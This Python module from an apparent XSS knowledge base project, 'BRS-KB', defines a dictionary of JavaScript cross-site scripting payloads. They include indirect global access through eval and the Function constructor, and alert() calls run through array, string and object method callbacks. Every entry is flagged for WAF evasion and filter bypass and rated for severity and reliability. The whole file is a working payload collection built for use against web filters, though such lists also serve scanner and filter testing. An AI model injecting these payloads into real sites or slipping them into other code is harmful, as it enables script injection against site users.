#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-27 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Final Frontier XSS Payloads - Part 2
Global access variations, Array methods exploitation, String methods exploitation, and Object methods exploitation.
"""

from ..models import PayloadEntry


BRS_KB_FINAL_FRONTIER_PAYLOADS_PART2 = {
    # ============================================================
    # GLOBAL ACCESS VARIATIONS
    # ============================================================
    "global-this-indirect": PayloadEntry(
        payload="(function(){return this})()",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Indirect global access via this",
        tags=["global", "this"],
        bypasses=["global_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "global-eval-indirect": PayloadEntry(
        payload="(0,eval)('this')",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Indirect eval returns global",
        tags=["global", "eval"],
        bypasses=["global_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "global-function-this": PayloadEntry(
        payload="Function('return this')()",
        contexts=["javascript"],
        severity="critical",
        cvss_score=8.5,
        description="Function constructor returns global",
        tags=["global", "function"],
        bypasses=["global_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # ARRAY METHODS EXPLOITATION
    # ============================================================
    "array-forEach-call": PayloadEntry(
        payload="[alert].forEach(f=>f(1))",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="forEach with function execution",
        tags=["array", "forEach"],
        bypasses=["array_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "array-map-call": PayloadEntry(
        payload="[1].map(alert)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="map with alert as callback",
        tags=["array", "map"],
        bypasses=["array_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "array-filter-call": PayloadEntry(
        payload="[1].filter(alert)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="filter with alert as callback",
        tags=["array", "filter"],
        bypasses=["array_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "array-reduce-call": PayloadEntry(
        payload="[1].reduce((a,b)=>alert(b))",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="reduce with alert callback",
        tags=["array", "reduce"],
        bypasses=["array_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "array-every-call": PayloadEntry(
        payload="[1].every(alert)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="every with alert callback",
        tags=["array", "every"],
        bypasses=["array_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "array-some-call": PayloadEntry(
        payload="[1].some(alert)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="some with alert callback",
        tags=["array", "some"],
        bypasses=["array_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "array-find-call": PayloadEntry(
        payload="[1].find(alert)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="find with alert callback",
        tags=["array", "find"],
        bypasses=["array_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "array-findIndex-call": PayloadEntry(
        payload="[1].findIndex(alert)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="findIndex with alert callback",
        tags=["array", "findIndex"],
        bypasses=["array_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "array-flatMap-call": PayloadEntry(
        payload="[1].flatMap(alert)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="flatMap with alert callback",
        tags=["array", "flatMap"],
        bypasses=["array_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "array-sort-call": PayloadEntry(
        payload="[1,2].sort((a,b)=>alert(a))",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="sort with alert comparator",
        tags=["array", "sort"],
        bypasses=["array_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # STRING METHODS EXPLOITATION
    # ============================================================
    "string-replace-func": PayloadEntry(
        payload="'x'.replace(/x/,alert)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="replace with function callback",
        tags=["string", "replace"],
        bypasses=["string_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "string-match-exec": PayloadEntry(
        payload="/x/.exec('x')||alert(1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="regex exec with side effect",
        tags=["string", "match"],
        bypasses=["regex_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "string-split-limit": PayloadEntry(
        payload="'x'.split('',alert(1)||1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="split with side effect in limit",
        tags=["string", "split"],
        bypasses=["string_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # OBJECT METHODS EXPLOITATION
    # ============================================================
    "object-keys-side": PayloadEntry(
        payload="Object.keys({get x(){alert(1)}})",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Object.keys with getter",
        tags=["object", "keys"],
        bypasses=["object_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "object-values-side": PayloadEntry(
        payload="Object.values({get x(){return alert(1)}})",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Object.values with getter",
        tags=["object", "values"],
        bypasses=["object_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "object-entries-side": PayloadEntry(
        payload="Object.entries({get x(){return alert(1)}})",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Object.entries with getter",
        tags=["object", "entries"],
        bypasses=["object_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "object-fromEntries": PayloadEntry(
        payload="Object.fromEntries([[alert(1)||'x','y']])",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="fromEntries with side effect key",
        tags=["object", "fromEntries"],
        bypasses=["object_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
}
